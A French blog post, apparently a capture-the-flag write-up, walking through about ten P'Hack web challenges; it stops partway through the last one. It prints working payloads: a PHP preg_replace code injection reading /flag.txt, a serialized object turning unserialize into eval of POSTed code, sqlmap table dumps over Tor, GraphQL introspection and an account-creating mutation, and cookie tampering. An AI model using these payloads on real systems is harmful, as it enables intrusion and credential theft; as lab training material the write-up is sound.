P'Hack - Web

Une dizaine de challenge dans cette catégorie

Hello World - 32pts

Vous êtes débutants ?
Nous vous avions dit que ce n'était pas un problème.
Voici de quoi commencer !

Lien du challenge : hello-world.phack.fr

Un petit challenge très simple juste pour se mettre en route, ça permet aussi de vérifier que les configurations VPN fonctionnent bien. On ouvre l'url et on se retrouve sur une page avec un bouton à cliquer :

On arrive sur la page http://hello-world.phack.fr/step-1-28d43e77.php et on nous indique de ne surtout pas regarder le code source de la page. À ce niveau là je commence à switcher et à passer les requêtes sur Postman. On a un lien vers la page 2 en commentaire dans les sources http://hello-world.phack.fr/step-2-c1cc9945.php. On nous indique de regarder les header HTTP pour récupérer l'adresse de la page 3 http://hello-world.phack.fr/step-3-ec119828.php. On va ensuite voir dans les cookies (ou dans le Header HTTP Set-Cookie) pour récupérer l'adresse suivante http://hello-world.phack.fr/step-4-b270e4f9.php. Sur la page est affiché un texte en Base64 :

c3RlcC01LTFjM2VmNzA2LnBocA==

Texte que l'on décode en l'adresse de la page 5 http://hello-world.phack.fr/step-5-1c3ef706.php où est affiché un hash md5 à craquer avant de le soumettre via un formulaire. Le hash est : 8621ffdbc5698829397d97767ac13db3, on le soumet sur https://crackstation.net et on récupère le résultat qu'on soumet afin de passer à l'étape suivante sur la page http://hello-world.phack.fr/step-6-c1867dd2.php. Cette page nous indique d'appeler une fonction javascript avec un nom spécifique, on ouvre la console du navigateur et on lance l'appel à la fonction. L'appel fait une redirection vers la dernière page http://hello-world.phack.fr/step-7-d7c86a9d.php qui contient le flag :

PHACK{W3lc0me_To_7h3_H4ch1ng_WooorlD!!}

Wall-E - 64pts

Wall-E est le dernier être sur Terre !
Aide-le à trouver son chemin dans ce drôle de monde.

Lien du challenge : wall-e.phack.fr

On teste rapidement les différentes pages du site, rien de probant qui nous donnerait un indice sur comment démarrer ce challenge dans les sources du site, une barre de recherche qui ne fait rien, un formulaire de contact mal implémenté qui renvoie version une erreur HTTP 405. Mais il y a cette notion de robot et Wall-E dans le sujet est en gras, on tente de récupérer le fichier /robots.txt et on y trouve le contenu suivant :

User-Agent: WallEbot
Allow: /index.html
Disallow: /8059dd56-3bfb-11eb-adc1-0242ac120002/nothing-here.txt

On accède donc à cette page mystèrieuse où notre petit robot n'a pas le droit d'accéder et on trouve le flag !

PHACK{r0b07s_4r3_tH3_n3w_hUm4Ns}

Fuzz Me - 128pts

Votre ami vient vous voir en panique car il a perdu ses identifiants et il ne peut plus se connecter à son site préféré.
Aidez-le à sauver la situation.

Lien du challenge : fuzz-me.phack.fr

On nous présente ici un formulaire de login et rien d'autre de disponible.

Vu le titre du challenge, on va tenter de fuzzer (essayer) différentes pages via un outil automatique pour voir si on pourrait découvrir d'autre page du site qui ne serait peut être pas sécurisé. (les commandes suivantes sont utilisé dans Exegol

$ ffuf -c -w `fzf-wordlists` -u http://fuzz-me.phack.fr/FUZZ -fc 404 -mc all

En donnant une liste communes de noms de page web, on se retrouve malheureusement avec uniquement favicon.icon de détecté. En retournant sur le site, on voit qu'au clic sur le bouton connexion, un appel est fait avec les paramètres entrés : POST http://fuzz-me.phack.fr/api/login. On va essayer de fuzzer sur /api peut être qu'on aura plus de chances.

$ ffuf -c -w `fzf-wordlists` -u http://fuzz-me.phack.fr/api/FUZZ -fc 404 -mc all

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://fuzz-me.phack.fr/api/FUZZ
 :: Wordlist         : FUZZ: /usr/share/dirb/wordlists/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response status: 404
________________________________________________

login                   [Status: 405, Size: 178, Words: 20, Lines: 5]
sessions                [Status: 200, Size: 1332, Words: 1, Lines: 2]
user                    [Status: 400, Size: 33, Words: 4, Lines: 1]
:: Progress: [4614/4614] :: Job [1/1] :: 245 req/sec :: Duration: [0:00:20] :: Errors: 0 ::

Pour le coup, on a un résultat un peu plus intéressant, on retrouve notre page login mais on découvre également deux autres url accessible, sessions et user. On commence par /api/sessions qui a le mérite de nous renvoyer une HTTP 200 OK et on tombe sur une réponse json qui contient du json en base64 :

{
   "sessions":[
      "eyJ1c2VyIjogIjY1YTlmYzRjLWIwNDYtNDE3OS1iMDE5LTdlMDcxZDFjZTc5ZiIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIitBSEc5NUZKeHRzNGoxNFJuTHdxaEE9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfmI0ifQ==",
      "eyJ1c2VyIjogIjkwNjhjY2ZmLTBkOTgtNGViNS1iMjdkLTQyZDcwZTQyYmRkZCIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIkkvS3M1clg0SGJSb2hhbm9pc1lUOXc9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfpoQifQ==",
      "eyJ1c2VyIjogImIwZWU5YjNjLTdkNjMtNDQwZi05ZDcyLWM3NTg2ODZiMDVlNCIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIjYwY3k4bUJrM3luOFNhRisvSGVhUHc9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfkp0ifQ==",
      "eyJ1c2VyIjogIjEzYTE0NTExLTc3NzktNDJmNS04MjliLTc1OTc3MzRjODc0YyIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIjRVQWljczZ3TzkvVzM3Qjd2Q0NQT3c9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfmYsifQ==",
      "eyJ1c2VyIjogIjg3MmUwYTQxLTk5ZTUtNGU3Ni1hNWU3LTk2MDkzNzU3ZmE4MSIsICJpc0FkbWluIiA6IHRydWUsICJ3ZWlyZF9zdHVmZiIgOiAiU1NCaGJTQjBhR1VnWVdSdGFXNGdJUT09IiwgImhhcHB5X3NtaWxleSIgOiAi8J+RqOKAjfCfjbMifQ==",
      "eyJ1c2VyIjogIjk2OGYyZTlkLTI3YzEtNDUwMy05NzM5LTNiMWM4NjMwNjU2NCIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIllOK1pWNWxTMkZTNjlaMmhmd1RaT3c9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfjIgifQ==",
      "eyJ1c2VyIjogIjViNTgwMDcyLTM2YzAtNDU0Yi04NThiLTVmZmJjOTRiNjgyNSIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIkZkNWlPVU9qMDJrZmU0aDMyOGplNHc9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfkoMifQ=="
   ]
}

On décode toutes les lignes et on récupère les json suivants

{"user": "65a9fc4c-b046-4179-b019-7e071d1ce79f", "isAdmin" : false, "weird_stuff" : "+AHG95FJxts4j14RnLwqhA==", "happy_smiley" : "😍"}
{"user": "9068ccff-0d98-4eb5-b27d-42d70e42bddd", "isAdmin" : false, "weird_stuff" : "I/Ks5rX4HbRohanoisYT9w==", "happy_smiley" : "🦄"}
{"user": "b0ee9b3c-7d63-440f-9d72-c758686b05e4", "isAdmin" : false, "weird_stuff" : "60cy8mBk3yn8SaF+/HeaPw==", "happy_smiley" : "💝"}
{"user": "13a14511-7779-42f5-829b-7597734c874c", "isAdmin" : false, "weird_stuff" : "4UAics6wO9/W37B7vCCPOw==", "happy_smiley" : "🙋"}
{"user": "872e0a41-99e5-4e76-a5e7-96093757fa81", "isAdmin" : true, "weird_stuff" : "SSBhbSB0aGUgYWRtaW4gIQ==", "happy_smiley" : "👨‍🍳"}
{"user": "968f2e9d-27c1-4503-9739-3b1c86306564", "isAdmin" : false, "weird_stuff" : "YN+ZV5lS2FS69Z2hfwTZOw==", "happy_smiley" : "🌈"}
{"user": "5b580072-36c0-454b-858b-5ffbc94b6825", "isAdmin" : false, "weird_stuff" : "Fd5iOUOj02kfe4h328je4w==", "happy_smiley" : "💃"}

On tente maintenant la page http://fuzz-me.phack.fr/api/user où on récupère une erreur.

{"error": "Paramètre manquant !"}

Paramètre manquant, ça voudrait donc dire qu'on peut peut être query les infos d'un user à partir de ce endpoint et qu'il faut sûrement lui passer le userId qu'on a trouvé dans la page session. On va fuzzer cette page pour trouver le nom du paramètre. Pour cela, on indique bien au filtre de récupérer tout ce qui n'est pas une erreur HTTP 400 BadRequest.

$ ffuf -c -w `fzf-wordlists` \
    -u http://fuzz-me.phack.fr/api/user\?FUZZ\=13a14511-7779-42f5-829b-7597734c874c \
    -fc 400 -mc all
uuid                    [Status: 500, Size: 27, Words: 4, Lines: 1]

On obtient comme résultat le paramètre uuid mais qui renvoie une erreur HTTP 500. On ouvre l'url avec le bon nom du paramètre et on s'aperçoit que le retour json est Uuid inconnu !. Ok donc tout va bien, il faut juste qu'on trouve le bon uuid. On met nos identifiants d'utilisateur dans un fichier qu'on nomme userIds et on relance ffuf pour trouver une session qui fonctionne

$ ffuf -c -w userIds -u http://fuzz-me.phack.fr/api/user\?uuid\=FUZZ -fc 500 -mc all
872e0a41-99e5-4e76-a5e7-96093757fa81 [Status: 200, Size: 146, Words: 16, Lines: 1]

Seulement l'un des identifiants est valide, on ouvre l'url avec cet id et on reçoit comme réponse :

{
   "info":{
      "name":"Biden",
      "firstname":"Joe",
      "login":"admin",
      "password":"NeOIsTh3T4rget<3",
      "description":"Président, tout simplement."
   }
}

On retourne sur la page d'accueil du site et on se connecte avec le login et le password de la réponse. Et on nous affiche le flag :

PHACK{th1s_1s_H0w_w3_d0_enum3r4ti0n_m4n}

X-tension - 128pts

Votre entreprise est victime d'un méchant ransomware.
Heureusement Sophie du marketing a développé un site pour récupérer les fichiers chiffrés.
En tant qu'expert en sécurité vous jetez un oeil pour vous faire votre avis.

Lien du challenge : x-tension.phack.fr

Première chose que l'on voit en arrivant sur le site, c'est que l'auteur ne tient vraiment pas à sa RAM pour avoir développer un challenge qui ne fonctionne que sous Chrome.

Quelques minutes d'installation plus tard, nous voici de retour pour trouver encore un message d'erreur

Une extension ? Quelle extension ?? Allons faire un tour dans les sources de la page pour trouver :

<!-- TODO : Ne pas oublier d'installer l'extension depuis https://bit.ly/3ufGW3f -->

Si tu penses que je vais installer une extension comme ça sans savoir ce qu'elle fait, tu te mets le doigt dans l'oeil xD.

$ wget -O extension.zip https://bit.ly/3ufGW3f

On dézippe le fichier ainsi obtenu pour avoir accès au code de l'extension, quelques fichiers javascript comme on pouvait s'y attendre mais surtout le flag.

PHACK{CRX_F1l3_R3v3rs1nG}

Le fichier de l'extension est également disponible ici : https://blog.julienmialon.com/uploads/ctf/phack/extension.zip

Harduino - 256pts

Il semblerait que vous ayez trouvé un étrange gestionnaire de code... Vous devez surement pouvoir en tirer quelque chose.

Le flag se trouve dans le fichier /flag.txt.

Lien du challenge : harduino.phack.fr

On ouvre le site web en question et on se retrouve avec ce qui ressemble au contenu du fichier arduino.php et à droite le résultat de l'exécution de ce fichier.

La première étape ici est de tester si on peut accéder à la page arduino.php directement. On récupère l'adresse dans l'iframe qui est affiché sur notre page et on peut directement accéder à : http://harduino.phack.fr/workspace/apps/arduino/arduino.php.

Maintenant, d'après le code PHP qui nous ai fourni, on voit qu'on peut injecter le message à afficher dans la variable GET nommée 'message'. On essaie avec l'url :

http://harduino.phack.fr/workspace/apps/arduino/arduino.php?message=plop

Et plop s'affiche bien à la place de 'Hello World'. Donc ce qui va nous intéresser, c'est d'exploiter l'injection de message pour lire notre fichier flag. On se concentre sur le code lié à l'utilisation du paramètre dans l'URL.

if (isset($_GET["message"])) {
    $custom = $_GET["message"];
    $message = preg_replace("/^.*$/e", "\"$custom\"", $message);
}

À première vue, on doit pouvoir commencer notre message par un double quote et exécuter du code PHP lors de l'évaluation de $custom. On test simplement en mettant un double quote au début de notre message précédent et bingo ! On récupère une erreur PHP !

Notre paramètre peut donc permettre d'injecter du code. À partir de là, il ne nous reste qu'à construire le bon code PHP pour aller lire le flag.

arduino.php?message=".file_get_contents('/flag.txt')."

Et le flag s'affiche sur l'écran de l'arduino. Pour ne pas s'embêter lors de la copie, on affiche les sources de la page et on le récupère.

PHACK{W4SNT_DAT_HARD_AFT3R_ALL}

Un bon rappel qu'il faut TOUJOURS sécuriser ses inputs en PHP et ne pas permettre de l'exécution de code.

VOD - 256pts

Votre équipe a reçu un message (très) sécurisé de la part d'un agent soit-disant s3c3rt vous invitant à vous rendre sur ce site  http://xwjtp3mj427zdp4tljiiivg2l5ijfvmt5lcsfaygtpp6cw254kykvpyd.onion:1337.
Drôle d'url.

Ici on nous donne un site web en .onion, c'est le signe qu'il faut lancer Tor pour pouvoir y accéder.

On se retrouve sur une liste de plateforme supportée par notre super site de VOD. Et on peut accèder au détail des infos de chaque plateforme avec la page /platform.php?id=1. Un paramètre dans l'url comme ça, on va tester une injection SQL pour voir si on peut s'en servir pour récupérer des informations. On tente la page /platform.php?id=' or et on se retrouve avec une erreur. On semble être sur la bonne voie.

On va aller un peu plus loin en utilisant sqlmap. Seul petit subtilité ici, il est nécessaire que sqlmap se connecte au site via tor.

$ sudo service start tor # on démarre le proxy tor
$ sqlmap --tor --tor-type=SOCKS5 -u "http://xwjtp3mj427zdp4tljiiivg2l5ijfvmt5lcsfaygtpp6cw254kykvpyd.onion:1337/platform.php?id=1"

Le paramètre est bien sensible à une injection SQL, un serveur MySQL est identifié. On liste les bases de données disponible puis les tables de la base VOD :

$ sqlmap --tor --tor-type=SOCKS5 -u "http://xwjtp3mj427zdp4tljiiivg2l5ijfvmt5lcsfaygtpp6cw254kykvpyd.onion:1337/platform.php?id=1" -p id --dbs
available databases [2]:
[*] information_schema
[*] vod

$ sqlmap --tor --tor-type=SOCKS5 -u "http://xwjtp3mj427zdp4tljiiivg2l5ijfvmt5lcsfaygtpp6cw254kykvpyd.onion:1337/platform.php?id=1" -p id -D vod --tables
Database: vod
[2 tables]
+----------+
| platform |
| s3cr3t   |
+----------+

On suppose que la table platform ne nous intéresse pas forcément, on va dump la table s3cr3t

$ sqlmap --tor --tor-type=SOCKS5 -u "http://xwjtp3mj427zdp4tljiiivg2l5ijfvmt5lcsfaygtpp6cw254kykvpyd.onion:1337/platform.php?id=1" -p id -D vod -T s3cr3t --dump
Database: vod
Table: s3cr3t
[1 entry]
+----+--------------------------+
| id | flag                     |
+----+--------------------------+
| 1  | PHACK{D0_U_kn0w_sQLm4p?} |
+----+--------------------------+

on récupère donc le flag

PHACK{D0_U_kn0w_sQLm4p?}

PHackTory - 256pts

Un nouveau magasin de fabrication de chocolat ouvre en ville.
Soit le premier à passer commande !

Lien du challenge : phacktory.phack.fr

Certainement le challenge où on a le plus tourner en rond, des heures de perdues passées à regarder ces tablettes de chocolats. Le site web dispose d'une page index.php et c'est malheureusement tout. Aucun indice de disponible pour savoir ce qu'on pouvait faire dessus. Fuzzer le site ne nous a donné aucun résultat avec les différentes liste qu'on a pu essayer. Bref, au bout de 2 ou 3 jours, on fini par tester l'intégralité des outils dispo dans Kali pour les vulnérabilités web jusqu'à trouver le graal avec la commande

$ nikto -host http://phacktory.phack.fr
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          12.42.0.10
+ Target Hostname:    phacktory.phack.fr
+ Target Port:        80
+ Start Time:         2021-04-11 14:26:54 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ Retrieved x-powered-by header: PHP/8.0.3
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /backup.zip: Potentially interesting archive/cert file found.
+ /backup.zip: Potentially interesting archive/cert file found. (NOTE: requested by IP address).
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3233: /icons/README: Apache default file found.

La seule ligne intéressante ici étant la présence d'un /backup.zip. (On découvrira en même temps que la commande $ nmap --script vuln phacktory.phack.fr nous aurait également révélée la présence de cette archive)

Le fichier est disponible ici : http://blog.julienmialon.com/uploads/ctf/phack/phacktory.zip

On découvre des images mais surtout le code de la page index.php. Peut être pas la version finale mais certainement une version très proche de celle qui permet de présenter le site.

<?php
include("config.php");
// Easter chocolate creation factory
// WIP : Do not send to production, I think it not safe yet. I should ask to my master
class PHackTory {
    public $type;
    public $quantity;
    public function __construct() {
        if(isset($_POST['type'])) {
            $this -> type = $_POST['type'];
        } else { $this -> order = "milky"; }
        if(isset($_POST['quantity'])) {
            $this -> quantity = $_POST['quantity'];
        } else { $this -> quantity = "50"; }
    }
    public function __wakeup() {
      global $DEBUG;
      $types = ["dark", "white", "milky", "fruity", "95%", "flag"];
      $quantities = [1, 5, 10, 25, 50, 100, "PHACK{}"];
      if (isset($this -> type) && isset($this -> quantity)) {
        if(in_array($this -> type, $types) && in_array($this -> quantity, $quantities)) {
            prepareOrder($this);
            return "Votre commande de " . $this -> quantity . " chocholats ("  . $this -> type .  ") est en préparation.";
        }
        else {
          if ($DEBUG) {
            //Affichage des variables pour deboguer. Enfin..Je crois que c'est ça que ca fait.
            eval($this -> type . ' ' . $this -> quantity);
          }
          return "Il semble y avoir un problème avec votre commande. Merde de contacter quelqu'un d'autre.";
        }
      }
    }
    public function prepareOrder(){ }
}
$a = $_GET['what'];
$b = $_POST['is'];
$c = $_POST['cool'];
$d = $_GET['the'];
?>
<!doctype html>
<html lang="fr">
  <head>
    <meta charset="utf-8">
    <title>PHackTory</title>
    <link rel="icon" type="image/png" href="images/favicon.png" />
  </head>
  <body style="background-image: url('images/background.jpg'); background-size: cover;">
    <div style=" position: absolute; left: 20%; top: 25%; width: 60%; padding: 10px; text-align: center; background-color: white; opacity: 0.7; font-size: 3rem;">
       <h1 style="text-decoration: underline;">PHackTory</h1>
        <p>Votre magasin se prépare pour les fêtes. <br/> Les commandes ne sont pas encore ouvertes.</p>
      </div>
    <?php
      if(isset($a) && isset($b) && isset($c) && isset($d)) {
          if($d == "flag" && $a == "is") {
            if ($b > 1538) {
              $myOrder = unserialize($_GET['please']);
              return "Oui !";
            }
            else { return "Peut-être !"; }
          }
          else { return "Certainement pas!"; }
      }
      else { return "Non !"; }
    ?>
  </body>
</html>

On commence à découvrir des choses intéressantes ici, tout d'abord la portion de code basse dans le contenu HTML semble être un point d'entrée prometteur. L'appel à la fonction PHP unserialize est assez connu pour générer des problèmes de sécurité, surtout quand on désérialize un paramètre fourni par l'utilisateur. La portion de code qui nous intéresse dans un premier temps va donc être

<php 
$a = $_GET['what'];
$b = $_POST['is'];
$c = $_POST['cool'];
$d = $_GET['the'];
if(isset($a) && isset($b) && isset($c) && isset($d)) {
  if($d == "flag" && $a == "is") {
    if ($b > 1538) {
      $myOrder = unserialize($_GET['please']);
      return "Oui !";
    }
  }
}

Ok, donc pour arriver à la ligne qui nous intéresse sur le unserialize, il est nécessaire de passer quelques paramètres dans la requête :

URL : http://phacktory.phack.fr/index.php?what=is&the=flag
Post data : 
  - is=1539
  - cool=Storm0x2a

Il ne nous reste plus qu'à fournir un payload intéressant à la variable please dans l'url pour exploiter la faille. Il n'y a pas grand chose d'autre que la classe PHackTory dans ce fichier que l'on pourrait exploiter. Il faut savoir que la fonction unserialize va appeler la méthode __wakeup() de l'objet une fois désérializer, nous pouvons donc exploiter le code de cette méthode. Le constructeur ne sera pas appelé et donc peut être ignorer. On se retrouve donc avec cette partie de code :

public function __wakeup() {
  global $DEBUG;

  $types = ["dark", "white", "milky", "fruity", "95%", "flag"];
  $quantities = [1, 5, 10, 25, 50, 100, "PHACK{}"];

  if (isset($this -> type) && isset($this -> quantity)) {
    if(in_array($this -> type, $types) && in_array($this -> quantity, $quantities)) {
        prepareOrder($this);
        return "Votre commande de " . $this -> quantity . " chocholats ("  . $this -> type .  ") est en préparation.";
    }
    else {
      if ($DEBUG) {
        //Affichage des variables pour deboguer. Enfin..Je crois que c'est ça que ca fait.
        eval($this -> type . ' ' . $this -> quantity);
      }

      return "Il semble y avoir un problème avec votre commande. Merde de contacter quelqu'un d'autre.";
    }
  }
}

On voit ici que $this->type et $this->quantity doivent exister et qu'on a intérêt à ne pas leur donner une valeur présent dans les deux array juste au dessus afin, on l'espère, de trigger la fonction eval qui va nous permettre d'exécuter du code arbitraire passé dans les deux champs de la classe. Le moyen le plus simple pour obtenir le payload à passer à la fonction unserialize reste d'appeler la méthode serialize dans un interpréteur PHP (n'importe lequel en ligne fera l'affaire). Ici on va utiliser le code suivant :

<?php
class PHackTory {
    public $type = 'eval($_POST["code"])';
    public $quantity = ';';
}

echo serialize(new PHackTory());
// Résultat : O:9:"PHackTory":2:{s:4:"type";s:20:"eval($_POST["code"])";s:8:"quantity";s:1:";";}

L'avantage de cette méthode est qu'on pourra passer le code que l'on souhaite vraiment évaluer dans le paramètre POST code sans avoir besoin de changer le payload de sérialization à chaque fois. On teste notre système en mettant un simple echo 'hello'; dans notre paramètre et on récupère bien le retour dans le page HTML.

À partir de là, on va utiliser cette faille pour lire le contenu actuel de la page index.php. On va simplement envoyer le code suivant :

echo file_get_contents('index.php');

Le code de la page est exactement le même que celui qu'on a pu récupérer dans l'archive à une exception près, la ligne d'include en haut de fichier :

include("config-126546845171616835186.php");

Essayons de lire ce fichier en changeant juste le nom de fichier dans notre code précédent. Et nous obtenons le flag qui était dans le fichier de config.

PHACK{l3s_cl0Ch3s_s0nT_p4s5ees_!}

Un challenge qui était plutôt simple une fois passé l'étape de base qui était de découvrir cette archive de backup mais qui nous aura bien pris la tête, il faut bien le dire !

Agenda - 256pts

Votre ami est tout fier d'avoir créé son propre agenda de conférences en ligne.
Il vous demande de vérifier la sécurité avant de le mettre en production.

Lien du challenge : agenda.phack.fr

On lance le site web et on récupère une page avec une liste de conférence.

La première chose qu'on voit c'est que la page se charge dans un premier temps puis seulement après la liste des conférences s'affiche. On dirait que la liste est chargée via javascript avec un appel API où quelque chose du genre. On recharge donc la page avec l'onglet network de l'inspecteur ouvert et on observe un appel à un endpoint http://agenda-backend.phack.fr/graphql. Il faut sûrement qu'on exploite ce endpoint. Pour le chargement des conférences, il lui est envoyé le payload suivant :

{
   "query":"
     query {
       conferences {
         id, 
         name, 
         city, 
         talks {
           id, 
           title, 
           summary, 
           speakers {
             id, 
             name, 
             githubAccount, 
             blog
           }
         }
       }
     }"
}

On va tenter une bête requête d'introspection pour voir le résultat que ça peut nous retourner.

query {__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Et comme espérer, on nous envoie le détail complet de la "base" graphql avec le type d'objet disponible ainsi que les query que l'on peut faire dessus. Le fichier json résultant est disponible ici https://blog.julienmialon.com/uploads/ctf/phack/agenda1.json

On voit qu'il y a une query nommée "persons" qui est disponible ainsi que les champs du type Person qui contiennent login et passw0rd. Voyons si on peut query la liste des personnes et récupérer leurs identifiant de cette manière. On envoi la query suivante :

query { persons { id, name, login, passw0rd }}

Et on récupère la liste de tous les utilisateurs, avec le dernier qui dispose d'un login et mot de passe.

{
    "id": "16",
    "name": "Admin",
    "login": "flagman",
    "passw0rd": "s3cr3t_d0_n07_Sh4r3"
}

On se connecte avec cet identifiant sur le site et on récupère le flag

PHACK{1_l0v3_gR4pHQl_1ntR0sp3ct10n}

Agenda 2 - 256pts

Maintenant c'est bon, le problème de sécurité a été corrigé.
Vérifiez de nouveau, on ne sait jamais.

Lien du challenge : agenda2.phack.fr

On ouvre ici un site web qui semble être le même que le challenge précédent mais qui aurait été patché pour ne pas rendre visible le mot de passe aussi facilement en tout cas. On relance notre requête d'introspection avec le résultat disponible ici https://blog.julienmialon.com/uploads/ctf/phack/agenda2.json. Un diff avec le fichier précédent nous indique qu'une partie mutation a été ajouté mais que le reste est strictement identique.

On retente notre requête pour lister les utilisateurs au cas où, pas de chance, l'utilisateur que l'on a utilisé sur le challenge précédent et qui était le seul à avoir un mot de passe renseigné à semble t'il était supprimé.

Puisque la partie mutation a été ajouté, on va plutôt se pencher de ce côté là pour voir si on ne pourrait pas ajouter un utilisateur à la base pour se connecter.

{
    "name": "addPerson",
    "args": [
        {
            "name": "person",
            "description": "",
            "type": {
                "name": null,
                "kind": "NON_NULL",
                "ofType": {
                    "name": "InputPerson",
                    "kind": "INPUT_OBJECT"
                }
            }
        }
    ]
}

On trouve le détail de la mutation qui va nous intéresser pour ajouter un utilisateur et on créé la requête suivante pour l'ajouter à la base.

mutation {
  addPerson(person: { 
    name: "hello", 
    login: "hello", 
    passw0rd: "world"
  }) { 
    id 
  } 
}

Si on reconsulte notre liste d'utilisateurs, on voit que notre nouvel utilisateur a bien été ajouté. On l'utilise donc pour se logger sur le site et récupérer le flag :

PHACK{th3_bUg_H4s_mut4t3d}

The Faceboox - 512pts

Un jeune étudiant prétentieux d'Harvard se vante d'avoir lancé TheFaceboox, un réseau social qui sera bientôt plus populaire que mySpoox, votre site de coeur.
Prouvez au monde entier que son site ne vaut pas un clou en prenant le contrôle de son compte !

Lien du challenge : the-faceboox.phack.fr

On se retrouve ici sur un site web qui n'est pas sans rappeler un réseau social bien connu, à première vue on a une page de login qui semble être fonctionnelle, une partie inscription et réinitialisation de mot de passe non implémentée et plusieurs pages d'information divers et variées.

Page intéressante tout de même, une page de login spécifique pour la presse et les annonceurs publicitaires : http://the-faceboox.phack.fr/media.html

Et dans le code source de la page index.html, on trouve

<!------ TODO ------ >

* Add edit profile functions
* Add register backend
* Change the name (TheFaceboom ? TheFaceboop ?)
* Remove demo "Press Account" (demo/demo)

<-------------------->

On parvient à se logger sur la page pour la presse en tant que demo/demo. Malheureusement, on arrive sur une page en cours de construction, rien de disponible ici.

On a tout de même deux cookies déposé lors de notre connexion avec le compte demo. Le premier PHPSESSID qui correspond à une session PHP, classique pour un site web. Le second par contre paraît plus intéresant.

session : eyJpZCI6MSwidHlwZSI6InByZXNzIn0=

On retrouve la séquence de début eyJ, c'est très certainement du json en base64. Une fois décodé on obtient le json ci-dessous.

{"id":1,"type":"press"}

Maintenant il va s'agir de tester plusieurs choses. Dans un premier temps, on tente de changer l'id en 2 pour voir si on pourrait se connecter à un autre compte. On change la valeur du cookie avec notre nouveau json encodé en base64 et on recharge la page. Apparaît une simple erreur :

ERROR: Provided cookie id (2) must match session id (1)

On en conclus que la session PHP doit aussi contenir l'id et vérifier la cohérence entre les deux. Deuxième possibilité, envoyer un autre type de compte. On envoie un type de compte "admin" (sur un malentendu on sait jamais ça pourrait passer ^^). On reçoit une erreur mais qui nous aide cette fois-ci :

ERROR: Session type must be one of : student, press

Aucun problème, on change notre type de compte en "student" et on reçoit une erreur nous indiquant que les compte de type étudiant ne sont pas autorisé à accéder à la page press.php mais qu'ils peuvent accéder à profile.php. Aucun problème, on va sur la page profile et on accède au profil de l'étudiant avec l'id 1.

Seul les pages My Profile et My Messages sont réellement implémenté, la page de message nous permet de découvrir qu'on peut consulter les profils d'autres personnes via la page /user.php?id=2. Un test rapide nous montre qu'on peut énumérer les id 1 (nous) à 5 (zuckerberg). Un paramètre de cette manière dans une URL, on lance sqlmap pour vérifier si jamais il serait sensible à une injection SQL mais le résultat est négatif. On tente de rentrer quelque chose dans le champ de recherche au cas où celui ci le serait et on reçoit une erreur :

This server is running an unsupported MySQL version (Error while connecting to MySQL: Connector::DBI::Mysql connect(...) failed: Can't connect to local MySQL server using file '/var/www/html/old_Test_Database.sql' (2) at /usr/local/mysql/MysqlUtils/Connector.pm line 136. Ask your system administrator to upgrade MySQL to improve security and features.

Au départ, ça ressemble à une erreur MySQL 'classique' mais a y bien regarder on vois la mention à un fichier SQL /var/www/html/old_Test_Database.sql.

On accède à ce fichier via l'url http://the-faceboox.phack.fr/old_Test_Database.sql et on récupère un fichier SQL qui ressemble au requêtes qui auraient pu être utilisé pour créer et initialiser la base de données. Voici la portion du fichier qui va nous intéresser :

DROP TABLE IF EXISTS `press`;
CREATE TABLE `press` (
  `id` bigint unsigned NOT NULL AUTO_INCREMENT,
  `user` text,
  `passwd` text,
  UNIQUE KEY `id` (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
INSERT INTO `press` VALUES (1,'demo',''),(2,'cnn',''),(3,'nyt',''),(4,'guardian',''),(5,'fox','');

DROP TABLE IF EXISTS `students`;
CREATE TABLE `students` (
  `id` bigint unsigned NOT NULL AUTO_INCREMENT,
  `mail` text,
  `passwd` text,
  `postfix_hash_salt` text,
  `first_name` text,
  UNIQUE KEY `id` (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
INSERT INTO `students` VALUES 
(1,'mike.spen@harvard.edu','a1a93242bea0cd80285ccfaf69ff96b1','7heF@c3b00x','Mike'),
(2,'laura00@aol.com','cb24a277e4b0c98e2d5eefbc17b2e658','7heF@c3b00x','Laura'),
(3,'kev.rgn@caramail.com','a066fcee06d941af7c0dfbdd05c4cda3','7heF@c3b00x','Kevin'),
(4,'rachel.west@fox-news.com','a8a2ddbeeff303b0694e480c32c8ae6c','7heF@c3b00x','Rachel');

